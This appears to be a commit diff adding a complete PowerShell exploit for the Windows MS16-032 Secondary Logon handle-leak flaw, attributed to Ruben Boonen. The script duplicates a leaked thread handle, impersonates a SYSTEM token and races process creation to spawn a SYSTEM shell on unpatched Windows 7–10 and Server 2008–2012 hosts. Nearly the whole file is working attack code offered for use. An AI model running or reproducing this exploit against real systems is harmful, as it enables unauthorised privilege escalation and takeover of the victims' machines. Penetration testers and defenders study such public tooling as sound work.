|
| 1 | +function Invoke-MS16-032 { |
| 2 | +<# |
| 3 | +.SYNOPSIS |
| 4 | + |
| 5 | + PowerShell implementation of MS16-032. The exploit targets all vulnerable |
| 6 | + operating systems that support PowerShell v2+. Credit for the discovery of |
| 7 | + the bug and the logic to exploit it go to James Forshaw (@tiraniddo). |
| 8 | + |
| 9 | + Targets: |
| 10 | + |
| 11 | + * Win7-Win10 & 2k8-2k12 <== 32/64 bit! |
| 12 | + * Tested on x32 Win7, x64 Win8, x64 2k12R2 |
| 13 | + |
| 14 | + Notes: |
| 15 | + |
| 16 | + * In order for the race condition to succeed the machine must have 2+ CPU |
| 17 | + cores. If testing in a VM just make sure to add a core if needed mkay. |
| 18 | + * Want to know more about MS16-032 ==> |
| 19 | + https://googleprojectzero.blogspot.co.uk/2016/03/exploiting-leaked-thread-handle.html |
| 20 | + |
| 21 | +.DESCRIPTION |
| 22 | + Author: Ruben Boonen (@FuzzySec) |
| 23 | + Blog: http://www.fuzzysecurity.com/ |
| 24 | + License: BSD 3-Clause |
| 25 | + Required Dependencies: PowerShell v2+ |
| 26 | + Optional Dependencies: None |
| 27 | + |
| 28 | +.EXAMPLE |
| 29 | + C:\PS> Invoke-MS16-032 |
| 30 | +#> |
| 31 | + Add-Type -TypeDefinition @" |
| 32 | + using System; |
| 33 | + using System.Diagnostics; |
| 34 | + using System.Runtime.InteropServices; |
| 35 | + using System.Security.Principal; |
| 36 | + |
| 37 | + [StructLayout(LayoutKind.Sequential)] |
| 38 | + public struct PROCESS_INFORMATION |
| 39 | + { |
| 40 | + public IntPtr hProcess; |
| 41 | + public IntPtr hThread; |
| 42 | + public int dwProcessId; |
| 43 | + public int dwThreadId; |
| 44 | + } |
| 45 | + |
| 46 | + [StructLayout(LayoutKind.Sequential, CharSet=CharSet.Unicode)] |
| 47 | + public struct STARTUPINFO |
| 48 | + { |
| 49 | + public Int32 cb; |
| 50 | + public string lpReserved; |
| 51 | + public string lpDesktop; |
| 52 | + public string lpTitle; |
| 53 | + public Int32 dwX; |
| 54 | + public Int32 dwY; |
| 55 | + public Int32 dwXSize; |
| 56 | + public Int32 dwYSize; |
| 57 | + public Int32 dwXCountChars; |
| 58 | + public Int32 dwYCountChars; |
| 59 | + public Int32 dwFillAttribute; |
| 60 | + public Int32 dwFlags; |
| 61 | + public Int16 wShowWindow; |
| 62 | + public Int16 cbReserved2; |
| 63 | + public IntPtr lpReserved2; |
| 64 | + public IntPtr hStdInput; |
| 65 | + public IntPtr hStdOutput; |
| 66 | + public IntPtr hStdError; |
| 67 | + } |
| 68 | + |
| 69 | + [StructLayout(LayoutKind.Sequential)] |
| 70 | + public struct SQOS |
| 71 | + { |
| 72 | + public int Length; |
| 73 | + public int ImpersonationLevel; |
| 74 | + public int ContextTrackingMode; |
| 75 | + public bool EffectiveOnly; |
| 76 | + } |
| 77 | + |
| 78 | + public static class Advapi32 |
| 79 | + { |
| 80 | + [DllImport("advapi32.dll", SetLastError=true, CharSet=CharSet.Unicode)] |
| 81 | + public static extern bool CreateProcessWithLogonW( |
| 82 | + String userName, |
| 83 | + String domain, |
| 84 | + String password, |
| 85 | + int logonFlags, |
| 86 | + String applicationName, |
| 87 | + String commandLine, |
| 88 | + int creationFlags, |
| 89 | + int environment, |
| 90 | + String currentDirectory, |
| 91 | + ref STARTUPINFO startupInfo, |
| 92 | + out PROCESS_INFORMATION processInformation); |
| 93 | + |
| 94 | + [DllImport("advapi32.dll", SetLastError=true)] |
| 95 | + public static extern bool SetThreadToken( |
| 96 | + ref IntPtr Thread, |
| 97 | + IntPtr Token); |
| 98 | + |
| 99 | + [DllImport("advapi32.dll", SetLastError=true)] |
| 100 | + public static extern bool OpenThreadToken( |
| 101 | + IntPtr ThreadHandle, |
| 102 | + int DesiredAccess, |
| 103 | + bool OpenAsSelf, |
| 104 | + out IntPtr TokenHandle); |
| 105 | + |
| 106 | + [DllImport("advapi32.dll", SetLastError=true)] |
| 107 | + public static extern bool OpenProcessToken( |
| 108 | + IntPtr ProcessHandle, |
| 109 | + int DesiredAccess, |
| 110 | + ref IntPtr TokenHandle); |
| 111 | + |
| 112 | + [DllImport("advapi32.dll", SetLastError=true)] |
| 113 | + public extern static bool DuplicateToken( |
| 114 | + IntPtr ExistingTokenHandle, |
| 115 | + int SECURITY_IMPERSONATION_LEVEL, |
| 116 | + ref IntPtr DuplicateTokenHandle); |
| 117 | + } |
| 118 | + |
| 119 | + public static class Kernel32 |
| 120 | + { |
| 121 | + [DllImport("kernel32.dll")] |
| 122 | + public static extern uint GetLastError(); |
| 123 | + |
| 124 | + [DllImport("kernel32.dll", SetLastError=true)] |
| 125 | + public static extern IntPtr GetCurrentProcess(); |
| 126 | + |
| 127 | + [DllImport("kernel32.dll", SetLastError=true)] |
| 128 | + public static extern IntPtr GetCurrentThread(); |
| 129 | + |
| 130 | + [DllImport("kernel32.dll", SetLastError=true)] |
| 131 | + public static extern int GetThreadId(IntPtr hThread); |
| 132 | + |
| 133 | + [DllImport("kernel32.dll", SetLastError = true)] |
| 134 | + public static extern int GetProcessIdOfThread(IntPtr handle); |
| 135 | + |
| 136 | + [DllImport("kernel32.dll",SetLastError=true)] |
| 137 | + public static extern int SuspendThread(IntPtr hThread); |
| 138 | + |
| 139 | + [DllImport("kernel32.dll",SetLastError=true)] |
| 140 | + public static extern int ResumeThread(IntPtr hThread); |
| 141 | + |
| 142 | + [DllImport("kernel32.dll", SetLastError=true)] |
| 143 | + public static extern bool TerminateProcess( |
| 144 | + IntPtr hProcess, |
| 145 | + uint uExitCode); |
| 146 | + |
| 147 | + [DllImport("kernel32.dll", SetLastError=true)] |
| 148 | + public static extern bool CloseHandle(IntPtr hObject); |
| 149 | + |
| 150 | + [DllImport("kernel32.dll", SetLastError=true)] |
| 151 | + public static extern bool DuplicateHandle( |
| 152 | + IntPtr hSourceProcessHandle, |
| 153 | + IntPtr hSourceHandle, |
| 154 | + IntPtr hTargetProcessHandle, |
| 155 | + ref IntPtr lpTargetHandle, |
| 156 | + int dwDesiredAccess, |
| 157 | + bool bInheritHandle, |
| 158 | + int dwOptions); |
| 159 | + } |
| 160 | + |
| 161 | + public static class Ntdll |
| 162 | + { |
| 163 | + [DllImport("ntdll.dll", SetLastError=true)] |
| 164 | + public static extern int NtImpersonateThread( |
| 165 | + IntPtr ThreadHandle, |
| 166 | + IntPtr ThreadToImpersonate, |
| 167 | + ref SQOS SecurityQualityOfService); |
| 168 | + } |
| 169 | +"@ |
| 170 | + |
| 171 | + function Get-ThreadHandle { |
| 172 | + # StartupInfo Struct |
| 173 | + $StartupInfo = New-Object STARTUPINFO |
| 174 | + $StartupInfo.dwFlags = 0x00000100 # STARTF_USESTDHANDLES |
| 175 | + $StartupInfo.hStdInput = [Kernel32]::GetCurrentThread() |
| 176 | + $StartupInfo.hStdOutput = [Kernel32]::GetCurrentThread() |
| 177 | + $StartupInfo.hStdError = [Kernel32]::GetCurrentThread() |
| 178 | + $StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size |
| 179 | + |
| 180 | + # ProcessInfo Struct |
| 181 | + $ProcessInfo = New-Object PROCESS_INFORMATION |
| 182 | + |
| 183 | + # CreateProcessWithLogonW --> lpCurrentDirectory |
| 184 | + $GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName |
| 185 | + |
| 186 | + # LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED |
| 187 | + $CallResult = [Advapi32]::CreateProcessWithLogonW( |
| 188 | + "user", "domain", "pass", |
| 189 | + 0x00000002, "C:\Windows\System32\cmd.exe", "", |
| 190 | + 0x00000004, $null, $GetCurrentPath, |
| 191 | + [ref]$StartupInfo, [ref]$ProcessInfo) |
| 192 | + |
| 193 | + # Duplicate handle into current process -> DUPLICATE_SAME_ACCESS |
| 194 | + $lpTargetHandle = [IntPtr]::Zero |
| 195 | + $CallResult = [Kernel32]::DuplicateHandle( |
| 196 | + $ProcessInfo.hProcess, 0x4, |
| 197 | + [Kernel32]::GetCurrentProcess(), |
| 198 | + [ref]$lpTargetHandle, 0, $false, |
| 199 | + 0x00000002) |
| 200 | + |
| 201 | + # Clean up suspended process |
| 202 | + $CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1) |
| 203 | + $CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess) |
| 204 | + $CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread) |
| 205 | + |
| 206 | + $lpTargetHandle |
| 207 | + } |
| 208 | + |
| 209 | + function Get-SystemToken { |
| 210 | + echo "`n[?] Thread belongs to: $($(Get-Process -PID $([Kernel32]::GetProcessIdOfThread($hThread))).ProcessName)" |
| 211 | + |
| 212 | + $CallResult = [Kernel32]::SuspendThread($hThread) |
| 213 | + if ($CallResult -ne 0) { |
| 214 | + echo "[!] $hThread is a bad thread, exiting.." |
| 215 | + Return |
| 216 | + } echo "[+] Thread suspended" |
| 217 | + |
| 218 | + echo "[>] Wiping current impersonation token" |
| 219 | + $CallResult = [Advapi32]::SetThreadToken([ref]$hThread, [IntPtr]::Zero) |
| 220 | + if (!$CallResult) { |
| 221 | + echo "[!] SetThreadToken failed, exiting.." |
| 222 | + $CallResult = [Kernel32]::ResumeThread($hThread) |
| 223 | + echo "[+] Thread resumed!" |
| 224 | + Return |
| 225 | + } |
| 226 | + |
| 227 | + echo "[>] Building SYSTEM impersonation token" |
| 228 | + # SecurityQualityOfService struct |
| 229 | + $SQOS = New-Object SQOS |
| 230 | + $SQOS.ImpersonationLevel = 2 #SecurityImpersonation |
| 231 | + $SQOS.Length = [System.Runtime.InteropServices.Marshal]::SizeOf($SQOS) |
| 232 | + # Undocumented API's, I like your style Microsoft ;) |
| 233 | + $CallResult = [Ntdll]::NtImpersonateThread($hThread, $hThread, [ref]$sqos) |
| 234 | + if ($CallResult -ne 0) { |
| 235 | + echo "[!] NtImpersonateThread failed, exiting.." |
| 236 | + $CallResult = [Kernel32]::ResumeThread($hThread) |
| 237 | + echo "[+] Thread resumed!" |
| 238 | + Return |
| 239 | + } |
| 240 | + |
| 241 | + # Null $SysTokenHandle |
| 242 | + $script:SysTokenHandle = [IntPtr]::Zero |
| 243 | + |
| 244 | + # 0x0006 --> TOKEN_DUPLICATE -bor TOKEN_IMPERSONATE |
| 245 | + $CallResult = [Advapi32]::OpenThreadToken($hThread, 0x0006, $false, [ref]$SysTokenHandle) |
| 246 | + if (!$CallResult) { |
| 247 | + echo "[!] OpenThreadToken failed, exiting.." |
| 248 | + $CallResult = [Kernel32]::ResumeThread($hThread) |
| 249 | + echo "[+] Thread resumed!" |
| 250 | + Return |
| 251 | + } |
| 252 | + |
| 253 | + echo "[?] Success, open SYSTEM token handle: $SysTokenHandle" |
| 254 | + echo "[+] Resuming thread.." |
| 255 | + $CallResult = [Kernel32]::ResumeThread($hThread) |
| 256 | + } |
| 257 | + |
| 258 | + # main() <--- ;) |
| 259 | + $ms16032 = @" |
| 260 | + __ __ ___ ___ ___ ___ ___ ___ |
| 261 | + | V | _|_ | | _|___| |_ |_ | |
| 262 | + | |_ |_| |_| . |___| | |_ | _| |
| 263 | + |_|_|_|___|_____|___| |___|___|___| |
| 264 | + |
| 265 | + [by b33f -> @FuzzySec] |
| 266 | +"@ |
| 267 | + |
| 268 | + $ms16032 |
| 269 | + |
| 270 | + # Check logical processor count, race condition requires 2+ |
| 271 | + echo "`n[?] Operating system core count: $([System.Environment]::ProcessorCount)" |
| 272 | + if ($([System.Environment]::ProcessorCount) -lt 2) { |
| 273 | + echo "[!] This is a VM isn't it, race condition requires at least 2 CPU cores, exiting!`n" |
| 274 | + Return |
| 275 | + } |
| 276 | + |
| 277 | + echo "[>] Duplicating CreateProcessWithLogonW handle" |
| 278 | + $hThread = Get-ThreadHandle |
| 279 | + |
| 280 | + # If no thread handle is captured, the box is patched |
| 281 | + if ($hThread -eq 0) { |
| 282 | + echo "[!] No valid thread handle was captured, exiting!`n" |
| 283 | + Return |
| 284 | + } else { |
| 285 | + echo "[?] Done, using thread handle: $hThread" |
| 286 | + } echo "`n[*] Sniffing out privileged impersonation token.." |
| 287 | + |
| 288 | + # Get handle to SYSTEM access token |
| 289 | + Get-SystemToken |
| 290 | + |
| 291 | + # If we fail a check in Get-SystemToken, exit |
| 292 | + if ($SysTokenHandle -eq 0) { |
| 293 | + Return |
| 294 | + } |
| 295 | + |
| 296 | + echo "`n[*] Sniffing out SYSTEM shell.." |
| 297 | + echo "`n[>] Duplicating SYSTEM token" |
| 298 | + $hDuplicateTokenHandle = [IntPtr]::Zero |
| 299 | + $CallResult = [Advapi32]::DuplicateToken($SysTokenHandle, 2, [ref]$hDuplicateTokenHandle) |
| 300 | + |
| 301 | + # Simple PS runspace definition |
| 302 | + echo "[>] Starting token race" |
| 303 | + $Runspace = [runspacefactory]::CreateRunspace() |
| 304 | + $StartTokenRace = [powershell]::Create() |
| 305 | + $StartTokenRace.runspace = $Runspace |
| 306 | + $Runspace.Open() |
| 307 | + [void]$StartTokenRace.AddScript({ |
| 308 | + Param ($hThread, $hDuplicateTokenHandle) |
| 309 | + while ($true) { |
| 310 | + $CallResult = [Advapi32]::SetThreadToken([ref]$hThread, $hDuplicateTokenHandle) |
| 311 | + } |
| 312 | + }).AddArgument($hThread).AddArgument($hDuplicateTokenHandle) |
| 313 | + $AscObj = $StartTokenRace.BeginInvoke() |
| 314 | + |
| 315 | + echo "[>] Starting process race" |
| 316 | + # Adding a timeout (10 seconds) here to safeguard from edge-cases |
| 317 | + $SafeGuard = [diagnostics.stopwatch]::StartNew() |
| 318 | + while ($SafeGuard.ElapsedMilliseconds -lt 10000) { |
| 319 | + |
| 320 | + # StartupInfo Struct |
| 321 | + $StartupInfo = New-Object STARTUPINFO |
| 322 | + $StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size |
| 323 | + |
| 324 | + # ProcessInfo Struct |
| 325 | + $ProcessInfo = New-Object PROCESS_INFORMATION |
| 326 | + |
| 327 | + # CreateProcessWithLogonW --> lpCurrentDirectory |
| 328 | + $GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName |
| 329 | + |
| 330 | + # LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED |
| 331 | + $CallResult = [Advapi32]::CreateProcessWithLogonW( |
| 332 | + "user", "domain", "pass", |
| 333 | + 0x00000002, "C:\Windows\System32\cmd.exe", "/c powershell", |
| 334 | + 0x00000004, $null, $GetCurrentPath, |
| 335 | + [ref]$StartupInfo, [ref]$ProcessInfo) |
| 336 | + |
| 337 | + #--- |
| 338 | + # Make sure CreateProcessWithLogonW ran successfully! If not, skip loop. |
| 339 | + #--- |
| 340 | + # Missing this check used to cause the exploit to fail sometimes. |
| 341 | + # If CreateProcessWithLogon fails OpenProcessToken won't succeed |
| 342 | + # but we obviously don't have a SYSTEM shell :'( . Should be 100% |
| 343 | + # reliable now! |
| 344 | + #--- |
| 345 | + if (!$CallResult) { |
| 346 | + continue |
| 347 | + } |
| 348 | + |
| 349 | + $hTokenHandle = [IntPtr]::Zero |
| 350 | + $CallResult = [Advapi32]::OpenProcessToken($ProcessInfo.hProcess, 0x28, [ref]$hTokenHandle) |
| 351 | + # If we can't open the process token it's a SYSTEM shell! |
| 352 | + if (!$CallResult) { |
| 353 | + echo "[!] Holy handle leak Batman, we have a SYSTEM shell!!`n" |
| 354 | + $CallResult = [Kernel32]::ResumeThread($ProcessInfo.hThread) |
| 355 | + $StartTokenRace.Stop() |
| 356 | + $SafeGuard.Stop() |
| 357 | + Return |
| 358 | + } |
| 359 | + |
| 360 | + # Clean up suspended process |
| 361 | + $CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1) |
| 362 | + $CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess) |
| 363 | + $CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread) |
| 364 | + |
| 365 | + } |
| 366 | + |
| 367 | + # Kill runspace & stopwatch if edge-case |
| 368 | + $StartTokenRace.Stop() |
| 369 | + $SafeGuard.Stop() |
| 370 | +} |
0 commit comments